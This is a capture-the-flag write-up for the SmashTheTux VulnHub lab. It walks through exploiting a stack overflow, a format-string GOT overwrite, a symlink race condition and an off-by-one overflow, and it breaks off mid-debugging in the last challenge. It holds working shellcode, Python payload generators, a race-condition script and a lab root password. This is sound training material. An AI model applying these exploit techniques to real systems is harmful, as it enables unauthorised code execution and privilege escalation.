SmashTheTux VulnHub Writeup
Binary exploitation is not a strong point of mine, and I take any opportunity to learn, so the recent SmashTheTux image on VulnHub seemed like an ideal candidate!
0x00
// gcc pwnme.c -o pwnme -fno-stack-protector
#include <stdio.h>
#include <string.h>
void vuln( char * arg ) {
char buf[256];
strcpy(buf, arg);
}
int main(int argc, char **argv) {
printf("Val: %s\n", argv[1]);
vuln(argv[1]);
return 0;
}
This looks like a plain stack overflow vulnerability. The first argument passed into the binary is copied to a buffer 256
bytes in length, using the unsafe strcpy
function. After some experimentation, we can control the EIP
register by supplying a string 268
characters in length, followed by 4
characters (being our desired EIP
value).
tux@tux:~/0x00$ gdb -q pwnme
Reading symbols from pwnme...(no debugging symbols found)...done.
(gdb) run $(python -c 'print "A" * 268 + "B" * 4')
Starting program: /home/tux/0x00/pwnme $(python -c 'print "A" * 268 + "B" * 4')
Val: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
The program returns a segfault, as it attempts to jump to an invalid address.
Before going any further, I download gdb-peda and transfer it to the target using SFTP. I once again fire up gdb
and trigger the crash.
gdb-peda$ run $(python -c 'print "A" * 268 + "B" * 4')
Starting program: /home/tux/0x00/pwnme $(python -c 'print "A" * 268 + "B" * 4')
Val: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xbffff4e0 ('A' <repeats 200 times>...)
EBX: 0xbffff620 --> 0x2
ECX: 0xbffff8f0 ("AAABBBB")
EDX: 0xbffff5e9 ("AAABBBB")
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5f0 --> 0xbffff700 --> 0xbfffffa7 ("LOGNAME=tux")
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff5f0 --> 0xbffff700 --> 0xbfffffa7 ("LOGNAME=tux")
0004| 0xbffff5f4 --> 0xbffff7e7 ('A' <repeats 200 times>...)
0008| 0xbffff5f8 --> 0xbffff6c0 --> 0xbffff8f8 ("SHELL=/bin/bash")
0012| 0xbffff5fc --> 0xb7e573fd (<__cxa_atexit+29>: test eax,eax)
0016| 0xbffff600 --> 0xbffff620 --> 0x2
0020| 0xbffff604 --> 0xb7fcf000 --> 0x1a8da8
0024| 0xbffff608 --> 0x0
0028| 0xbffff60c --> 0xb7e3fa63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
As we installed gdb-peda
, we now get some very useful information back. We can see that the address to our input string is held in the EAX
register. Running the binary multiple times, I see that this address does not change. We could over write the EIP
register with this address, or we could be a bit smarter about this.
Let's see if we can find a JMP EAX
gadget, or equivilant. After downloading the pwnme
binary to my machine, I run it through msfelfscan
to discover a useful gadget.
$ msfelfscan -j eax 0x00/pwnme
[0x00/pwnme]
0x08048393 call eax
Perfect. Next, for the payload I turn to msfvenom
. We have 268
bytes for our payload. That should be enough for a basic exec
payload, including specifying the NULL character as bad.
$ msfvenom -p linux/x86/exec CMD=/bin/bash -f python -b '\x00'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 72 (iteration=0)
x86/shikata_ga_nai chosen with final size 72
Payload size: 72 bytes
buf = ""
buf += "\xdb\xdd\xb8\x97\xb5\xbc\x08\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x0c\x31\x46\x18\x83\xc6\x04\x03\x46\x83\x57"
buf += "\x49\x62\xa0\xcf\x2b\x21\xd0\x87\x66\xa5\x95\xbf\x11"
buf += "\x06\xd6\x57\xe2\x30\x37\xca\x8b\xae\xce\xe9\x1e\xc7"
buf += "\xda\xed\x9e\x17\xf5\x8f\xf7\x79\x26\x32\x69\xf5\x50"
buf += "\xb2\x3e\xaa\x29\x53\x0d\xcc"
Time to put together our final payload generator.
# linux/x86/exec CMD=/bin/bash payload
buf = ""
buf += "\xdb\xdd\xb8\x97\xb5\xbc\x08\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x0c\x31\x46\x18\x83\xc6\x04\x03\x46\x83\x57"
buf += "\x49\x62\xa0\xcf\x2b\x21\xd0\x87\x66\xa5\x95\xbf\x11"
buf += "\x06\xd6\x57\xe2\x30\x37\xca\x8b\xae\xce\xe9\x1e\xc7"
buf += "\xda\xed\x9e\x17\xf5\x8f\xf7\x79\x26\x32\x69\xf5\x50"
buf += "\xb2\x3e\xaa\x29\x53\x0d\xcc"
# padding to reach EIP
buf += (268 - len(buf)) * "A"
# overwrite EIP to point to `call eax` gadget
buf += "\x93\x83\x04\x08"
# output the final payload
print buf
We can now execute the binary with our generated payload - it should in theory give us a /bin/bash
session.
tux@tux:~/0x00$ echo $BASHPID
920
tux@tux:~/0x00$ ./pwnme $(python exploit.py)
Val: �ݸ���t$�^1ɱ
�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��
tux@tux:/home/tux/0x00$ echo $BASHPID
988
tux@tux:/home/tux/0x00$ exit
exit
tux@tux:~/0x00$ echo $BASHPID
920
We confirm that we've migrated to a new /bin/bash
session by checking the BASHPID
environment variable. Great success!
0x01
// gcc pwnme.c -o pwnme -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
char text[1024];
scanf("%1024s", text);
printf(text);
exit(0);
}
Format string exploits - my favourite..
So, a buffer is read in using scanf
, and is then printed with printf
. We then call exit
, to terminate. Our goal here will be to overwrite the GOT
entry for the exit
function, with the address for the system
function.
First, we find the address of the exit
GOT entry.
$ objdump -d pwnme
...
08048350 <exit@plt>:
8048350: ff 25 54 97 04 08 jmp *0x8049754
8048356: 68 10 00 00 00 push $0x10
804835b: e9 c0 ff ff ff jmp 8048320 <_init+0x2c>
Next we retrieve the address of the system
function, using gdb
.
tux@tux:~/0x01$ gdb -q pwnme
Reading symbols from pwnme...(no debugging symbols found)...done.
gdb-peda$ start
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xb7fcf000 --> 0x1a8da8
ECX: 0xbffff740 --> 0x1
EDX: 0xbffff764 --> 0xb7fcf000 --> 0x1a8da8
ESI: 0x0
EDI: 0x0
EBP: 0xbffff728 --> 0x0
ESP: 0xbffff724 --> 0xbffff740 --> 0x1
EIP: 0x8048489 (<main+14>: sub esp,0x404)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048485 <main+10>: push ebp
0x8048486 <main+11>: mov ebp,esp
0x8048488 <main+13>: push ecx
=> 0x8048489 <main+14>: sub esp,0x404
0x804848f <main+20>: sub esp,0x8
0x8048492 <main+23>: lea eax,[ebp-0x408]
0x8048498 <main+29>: push eax
0x8048499 <main+30>: push 0x8048560
[------------------------------------stack-------------------------------------]
0000| 0xbffff724 --> 0xbffff740 --> 0x1
0004| 0xbffff728 --> 0x0
0008| 0xbffff72c --> 0xb7e3fa63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0012| 0xbffff730 --> 0x80484d0 (<__libc_csu_init>: push ebp)
0016| 0xbffff734 --> 0x0
0020| 0xbffff738 --> 0x0
0024| 0xbffff73c --> 0xb7e3fa63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0028| 0xbffff740 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Temporary breakpoint 1, 0x08048489 in main ()
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xb7e643e0 <__libc_system>
Time to put together our payload.
1st 4 bytes 2nd 4 bytes
sh;#\x54\x97\x04\x08\x56\x97\x04\x08%00000x%5$hn%00000x%6$hn
Next, the number of bytes we need to write.
>>> 0x43e0 - 12
17364
>>> 0xb7e6 - 0x43e0
29702
Finally, we modify the payload to reflect this.
sh;#\x54\x97\x04\x08\x56\x97\x04\x08%17364x%5$hn%29702x%6$hn
Now, this functions as I expected, causing __libc_system
to be called instead of exit
, however we do not get a shell. This is because our input is not sent to the exit
call - the value 0
is, which results in a segmentation fault.
In order to successfully exploit this, we're going to need to overwrite the GOT
entry for exit
so as to point to main+46
, just before printf
is called with our input. We will also need to overwrite the GOT
entry for printf
to point to __libc_system
, so that system
will be called with our input, resulting in command execution.
0x080484a9 <+46>: lea -0x408(%ebp),%eax
0x080484af <+52>: push %eax
0x080484b0 <+53>: call 0x8048330 <printf@plt>
Using the same logic as above, I put together a short Python script to generate my payload for me. Please, excuse what you're about to see.
import struct
exitGot = 0x08049754 # exit GOT pointer
printfGot = 0x804974c # printf
exitGotFirst = struct.pack('<L', exitGot)
exitGotSecond = struct.pack('<L', exitGot+2)
printfGotFirst = struct.pack('<L', printfGot)
printfGotSecond = struct.pack('<L', printfGot+2)
payload = 'sh;#' + exitGotFirst + exitGotSecond + printfGotFirst + printfGotSecond
shellCodeAddress = struct.pack('>L', 0x080484a9) # overwrite exit PLT to main+46
shellCodeAddressLeast = int(shellCodeAddress[2:4].encode('hex'), 16) - len(payload)
shellCodeAddressMost = int(shellCodeAddress[0:2].encode('hex'), 16) - int(shellCodeAddress[2:4].encode('hex'), 16)
if shellCodeAddressMost < 1:
shellCodeAddressMost += 65536
payload += '%%%dx%%5$hn' % shellCodeAddressLeast
payload += '%%%dx%%6$hn' % shellCodeAddressMost
shellCodeAddress2 = struct.pack('>L', 0xb7e643e0) # overwrite printf@plt with address to __libc_system
shellCodeAddress2Least = int(shellCodeAddress2[2:4].encode('hex'), 16) - int(shellCodeAddress[0:2].encode('hex'), 16)
if shellCodeAddress2Least < 1:
shellCodeAddress2Least += 65536
shellCodeAddress2Most = int(shellCodeAddress2[0:2].encode('hex'), 16) - int(shellCodeAddress2[2:4].encode('hex'), 16)
if shellCodeAddress2Most < 1:
shellCodeAddress2Most += 65536
payload += '%%%dx%%7$hn' % shellCodeAddress2Least
payload += '%%%dx%%8$hn' % shellCodeAddress2Most
print payload
Providing this as input to the pwnme
binary results in a shell, as demonstrated below.
tux@tux:~/0x01$ (python exploit.py; cat) | ./pwnme
...the interpreted payload gets output here by printf...
id
uid=1000(tux) gid=1000(tux) groups=1000(tux),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
This was a wonderful challenge - While the above payload generator is really messy, it has taught me a valuable lesson in exploiting format string vulnerabilities.
0x02
// gcc pwnme.c -o pwnme
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#define UID 1000
#define GID 1000
int main (int argc, char **argv)
{
FILE *fp;
struct stat st;
char content[255];
stat(argv[1], &st);
// printf("%d %d\n", st.st_uid, st.st_gid);
if ( ((st.st_uid ^ UID) & (st.st_gid ^ GID)) == 0) {
puts("Access Granted.");
fp = fopen(argv[1], "r");
fgets(content, 255, (FILE*)fp);
fclose(fp);
printf("%s\n", content);
} else {
puts("Access Denied.");
exit(-1);
}
return 0;
}
For this challenge, we apparently need to read the root-owned file .readthis
, by exploiting what appears to be a race condition in the binary, leveraging the stat
function and symlinks to introduce delay.
It's worth noting, that initially the permissions of the pwnme
binary were incorrect (as confirmed by the author). I logged in as root
using the password 1N33dP0w3r
provided to us, and changed the ownership of the binary, and set the SUID bit, so that the binary (when exploited) is actually able to read the root-owned file .readthis
.
root@tux:/home/tux/0x02# ls -lah
total 28K
drwxr-xr-x 2 tux tux 4.0K Mar 12 03:40 .
drwxr-xr-x 13 tux tux 4.0K Mar 28 09:38 ..
-rw-r--r-- 1 tux tux 31 Mar 12 03:40 hint
-rwxr-xr-x 1 tux tux 5.6K Mar 12 03:39 pwnme
-rw-r--r-- 1 tux tux 522 Mar 12 03:39 pwnme.c
-rw-r----- 1 root root 47 Mar 11 22:56 .readthis
root@tux:/home/tux/0x02# chown root:root pwnme
root@tux:/home/tux/0x02# chmod u+s pwnme
root@tux:/home/tux/0x02# ls -alh
total 28K
drwxr-xr-x 2 tux tux 4.0K Mar 12 03:40 .
drwxr-xr-x 13 tux tux 4.0K Mar 28 09:38 ..
-rw-r--r-- 1 tux tux 31 Mar 12 03:40 hint
-rwsr-xr-x 1 root root 5.6K Mar 12 03:39 pwnme
-rw-r--r-- 1 tux tux 522 Mar 12 03:39 pwnme.c
-rw-r----- 1 root root 47 Mar 11 22:56 .readthis
So, moving on.. what we need to do is execute the target, and in the background switch out the symlink to the root-owned file .readthis
. Thankfully, there's a pretty decent post I found on the subject of race conditions, including details on how you can exploit them to manipulate flow in a vulnerable binary.
Modifying the example hit-and-hope exploit from the post gives us a really noisy, but functioning exploit.
#!/bin/sh
touch myfile
while true; do
ln -sf ./myfile a &
./pwnme a &
ln -sf .readthis a &
done
Running this script results in a ton of output, but somewhere within the noise is an indication that we successfully exploited the race condition!
tux@tux:~/0x02$ ./exploit.sh
...snip...
Access Granted.
You've Successfully exploited Race Condition!
What the above exploit essentially does, is asynchronously (ish) creates a symlink to a file with the correct UID and GID, executes the target binary and immediately afterwards updates the symlink to point to the root-owned file .readthis
. On occasion, the stars align and stat
is called on the symlink while it is pointing to the file myfile
(which is owned by the correct UID and GID), yet by the time the file is subsequently opened, we have updated the symlink to point to the root-owned file .readthis
.
0x03
// gcc -mpreferred-stack-boundary=2 -fno-stack-protector pwnme.c -o pwnme
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int mystrcpy(const char * text) {
char buff[512];
if(strlen(text) > 512){
puts("Nice Try.");
exit(-1);
} else {
strcpy(buff, text);
}
return 0;
}
int main(int argc, char **argv) {
mystrcpy(argv[1]);
return 0;
}
This looks to be an off the shelf buffer overflow, enabled by an off-by-one error in the length comparison, within the mystrcpy
function. The variable buff
is given a length of 512
, however the function checks to see if the length of the input is greater than, not greater than or equal to 512
, prior to copying our input in to the buff
variable.
Firstly, strcpy
can copy a string longer than the defined length of buff
into the address allocated to it. We can subsequently overwrite the least significant bit of the saved ebp
with a NULL byte. This means that ebp
will be corrupted, and result in the frame landing inside our buffer, allowing us to control the return address.
Within the hint
, we are provided with a string that will trigger this off-by-one error, and result in ebp
being manipulated sufficiently to give us control of the eip
register.
python -c 'print "A"*(512-24) + "B"*4 + "C"*20'
After testing this within gdb
, we can confirm that we have control over the eip
register.
tux@tux:~/0x03$ gdb -q ./pwnme
Reading symbols from ./pwnme...(no debugging symbols found)...done.
gdb-peda$ run `python -c 'print "A"*(512-24) + "B"*4 + "C"*20'`
Starting program: /home/tux/0x03/pwnme `python -c 'print "A"*(512-24) + "B"*4 + "C"*20'`
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fcf000 --> 0x1a8da8
ECX: 0xbffff8f0 ("CCCCCCC")
EDX: 0xbffff515 ("CCCCCCC")
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff508 ('C' <repeats 20 times>)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff508 ('C' <repeats 20 times>)
0004| 0xbffff50c ('C' <repeats 16 times>)
0008| 0xbffff510 ('C' <repeats 12 times>)
0012| 0xbffff514 ("CCCCCCCC")
0016| 0xbffff518 ("CCCC")
0020| 0xbffff51c --> 0xbffff500 ("AAAABBBB", 'C' <repeats 20 times>)
0024| 0xbffff520 --> 0x80484e4 (<main+17>: add esp,0x4)
0028| 0xbffff524 --> 0xbffff6f7 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
We can use this to jump to shell code contained on the stack at address 0xbffff6f7
by updating the payload to the following. I also replace the A
characters with nop
instructions, to confirm that we can achieve arbitrary code execution.
gdb-peda$ break *0xbffff6f7
Breakpoint 1 at 0xbffff6f7
gdb-peda$ run `python -c 'print "\x90"*(512-24) + "\xf7\xf6\xff\xbf" + "C"*20'`
Starting program: /home/tux/0x03/pwnme `python -c 'print "\x90"*(512-24) + "\xf7\xf6\xff\xbf" + "C"*20'`
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fcf000 --> 0x1a8da8
ECX: 0xbffff8f0 ("CCCCCCC")
EDX: 0xbffff515 ("CCCCCCC")
ESI: 0x0
EDI: 0x0
EBP: 0x90909090
ESP: 0xbffff508 ('C' <repeats 20 times>)
EIP: 0xbffff6f7 --> 0x90909090
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0xbffff6f7: nop
0xbffff6f8: nop
0xbffff6f9: nop
0xbffff6fa: nop
[------------------------------------stack-------------------------------------]
0000| 0xbffff508 ('C' <repeats 20 times>)
0004| 0xbffff50c ('C' <repeats 16 times>)
0008| 0xbffff510 ('C' <repeats 12 times>)
0012| 0xbffff514 ("CCCCCCCC")
0016| 0xbffff518 ("CCCC")
0020| 0xbffff51c --> 0xbffff500 --> 0x90909090
0024| 0xbffff520 --> 0x80484e4 (<main+17>: add esp,0x4)
0028| 0xbffff524 --> 0xbffff6f7 --> 0x90909090
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0xbffff6f7 in ?? ()
Awesome - we jumped to the stack and executed our nop
instructions. Time to put something a little more useful into the payload.
Again, I turn to msfvenom
to generate a simple payload for us.
$ msfvenom -p linux/x86/exec CMD=/bin/bash -f python -b '\x00'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 72 (iteration=0)
x86/shikata_ga_nai chosen with final size 72
Payload size: 72 bytes
buf = ""
buf += "\xdb\xdd\xb8\x97\xb5\xbc\x08\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x0c\x31\x46\x18\x83\xc6\x04\x03\x46\x83\x57"
buf += "\x49\x62\xa0\xcf\x2b\x21\xd0\x87\x66\xa5\x95\xbf\x11"
buf += "\x06\xd6\x57\xe2\x30\x37\xca\x8b\xae\xce\xe9\x1e\xc7"
buf += "\xda\xed\x9e\x17\xf5\x8f\xf7\x79\x26\x32\x69\xf5\x50"
buf += "\xb2\x3e\xaa\x29\x53\x0d\xcc"
Using this, I create a quick Python script to generate our final payload.
buf = ""
buf += "\xdb\xdd\xb8\x97\xb5\xbc\x08\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x0c\x31\x46\x18\x83\xc6\x04\x03\x46\x83\x57"
buf += "\x49\x62\xa0\xcf\x2b\x21\xd0\x87\x66\xa5\x95\xbf\x11"
buf += "\x06\xd6\x57\xe2\x30\x37\xca\x8b\xae\xce\xe9\x1e\xc7"
buf += "\xda\xed\x9e\x17\xf5\x8f\xf7\x79\x26\x32\x69\xf5\x50"
buf += "\xb2\x3e\xaa\x29\x53\x0d\xcc"
buf += "A" * ((512-24) - len(buf))
buf += "\xf7\xf6\xff\xbf"
buf += "C" * 20
print buf
I then test this within gdb
.
gdb-peda$ run `python exploit.py`
Starting program: /home/tux/0x03/pwnme `python exploit.py`
process 9730 is executing new program: /bin/dash
[New process 9736]
process 9736 is executing new program: /bin/bash
[New process 9737]
[New process 9738]
process 9738 is executing new program: /usr/bin/dircolors
[Inferior 4 (process 9738) exited normally]
Great! Now, I try this outside of gdb.
tux@tux:~/0x03$ ./pwnme `python exploit.py`
Segmentation fault
Bummer.. We can use an awesome bash script by hellman to ensure our gdb
environment matches our normal environment, to debug this issue. My money is on a different stack address.
tux@tux:~/0x03$ ./r.sh gdb ./pwnme
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /home/tux/0x03/.launcher...(no debugging symbols found)...done.
(gdb) run `python exploit.py`
Starting program: /home/tux/0x03/.launcher `python exploit.py`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
So we can see that we are overwriting eip
, but not with the value we expected. This indicates that our offset is incorrect. I open a fresh gdb
session, so that the gdb-peda
plugin is loaded, and create a pattern of length 512-24
, since we know eip
is being overwritten by a position somewhere within the block of A
characters.
gdb-peda$ pattern_create 512-24
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIA'
I then update our exploit script to use this, in place of the payload and A
characters.
buf = "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIA"
buf += "\x98\xf7\xff\xbf"
buf += "C" * 20
print buf
Running the above gdb
session again results in a new address in the segmentation fault.
(gdb) run `python exploit.py`
Starting program: /home/tux/0x03/.launcher `python exploit.py`
Program received signal SIGSEGV, Segmentation fault.
0x25414b25 in ?? ()
Pumping this in to our other gdb
session (that has gdb-peda
loaded), we find our new offset.
gdb-peda$ pattern_offset 0x25414b25
625036069 found at offset: 296
Now, the address of our string has likely changed as well, so while we're here let's find out the new address.
(gdb) disas main
Dump of assembler code for function main:
0x080484d3 <+0>: push %ebp
0x080484d4 <+1>: mov %esp,%ebp
0x080484d6 <+3>: mov 0xc(%ebp),%eax
0x080484d9 <+6>: add $0x4,%eax
0x080484dc <+9>: mov (%eax),%eax
0x080484de <+11>: push %eax
0x080484df <+12>: call 0x804848b <mystrcpy>
0x080484e4 <+17>: add $0x4,%esp
0x080484e7 <+20>: mov $0x0,%eax
0x080484ec <+25>: leave
0x080484ed <+26>: ret
End of assembler dump.
(gdb) break *main+12
Breakpoint 1 at 0x80484df
(gdb) run `python exploit.py`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/tux/0x03/.launcher `python exploit.py`
Breakpoint 1, 0x080484df in main ()
(gdb) info registers
eax 0xbffff798 -1073743976
ecx 0x296b6a26 694905382
edx 0xbffff614 -1073744364
ebx 0xb7fcf000 -1208160256
esp 0xbffff5e4 0xbffff5e4
ebp 0xbffff5e8 0xbffff5e8
esi 0x0 0
edi 0x0 0
eip 0x80484df 0x80484df <main+12>
eflags 0x286 [ PF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Prior to calling mystrcpy
, the eax
register is pushed on to the stack, suggesting that this is our user input (as an argument to mystrcpy
), and as such the address of our input is now 0xbffff798
.
I update the exploit, according to what we've discovered.
buf = ""
buf += "\xdb\xdd\xb8\x97\xb5\xbc\x08\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x0c\x31\x46\x18\x83\xc6\x04\x03\x46\x83\x57"
buf += "\x49\x62\xa0\xcf\x2b\x21\xd0\x87\x66\xa5\x95\xbf\x11"
buf += "\x06\xd6\x57\xe2\x30\x37\xca\x8b\xae\xce\xe9\x1e\xc7"
buf += "\xda\xed\x9e\x17\xf5\x8f\xf7\x79\x26\x32\x69\xf5\x50"
buf += "\xb2\x3e\xaa\x29\x53\x0d\xcc"
buf += "A" * (296 - len(buf))
buf += "\x98\xf7\xff\xbf"
buf += "C" * (512 - len(buf))
print buf
I then test it again within gdb
(run using the fixenv
script from hellman
).
(gdb) run `python exploit.py`
Starting program: /home/tux/0x03/.launcher `python exploit.py`
process 10054 is executing new program: /bin/dash
Awesome! Let's test it outside of gdb
now.
tux@tux:~/0x03$ ./pwnme `python exploit.py`
Segmentation fault
sigh Looks like something is still wrong. Let's enable core dumps and dig deeper.
tux@tux:~/0x03$ ulimit -c unlimited
tux@tux:~/0x03$ ./pwnme `python exploit.py`
Segmentation fault (core dumped)
tux@tux:~/0x03$ gdb -q ./pwnme core
...snip...
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x43434343 in ?? ()
Ok, so our offset appears to be wrong. I repeat the above process (using a pattern generated from gdb
) and find the new offset based upon the address in the core dump.
tux@tux:~/0x03$ ./pwnme `python exploit.py`
Segmentation fault (core dumped)
tux@tux:~/0x03$ gdb -q ./pwnme core
Reading symbols from ./pwnme...(no debugging symbols found)...done.
[New LWP 10084]
Core was generated by `./pwnme AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3A'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x73414473 in ?? ()
gdb-peda$ pattern_offset 0x73414473
1933657203 found at offset: 428
I also take the opportunity to check the location of our stack in this core dump. It has also changed - but after stepping back some way, I find the new location with ease, by looking for the start of the pattern we provided.
gdb-peda$ x/s 0xbffff70d
0xbffff70d: "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA"...
Hopefully for the last time, I update the exploit.
buf = ""
buf += "\xdb\xdd\xb8\x97\xb5\xbc\x08\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x0c\x31\x46\x18\x83\xc6\x04\x03\x46\x83\x57"
buf += "\x49\x62\xa0\xcf\x2b\x21\xd0\x87\x66\xa5\x95\xbf\x11"
buf += "\x06\xd6\x57\xe2\x30\x37\xca\x8b\xae\xce\xe9\x1e\xc7"
buf += "\xda\xed\x9e\x17\xf5\x8f\xf7\x79\x26\x32\x69\xf5\x50"
buf += "\xb2\x3e\xaa\x29\x53\x0d\xcc"
buf += "A" * (428 - len(buf))
buf += "\x0d\xf7\xff\xbf"
buf += "C" * (512 - len(buf))
print buf
And then run it..
tux@tux:~/0x03$ ./pwnme `python exploit.py`
Segmentation fault (core dumped)
deep breath
After checking in gdb
, it looks like our offset is still wrong
tux@tux:~/0x03$ gdb -q ./pwnme core
Reading symbols from ./pwnme...(no debugging symbols found)...done.
[New LWP 10124]
...snip...
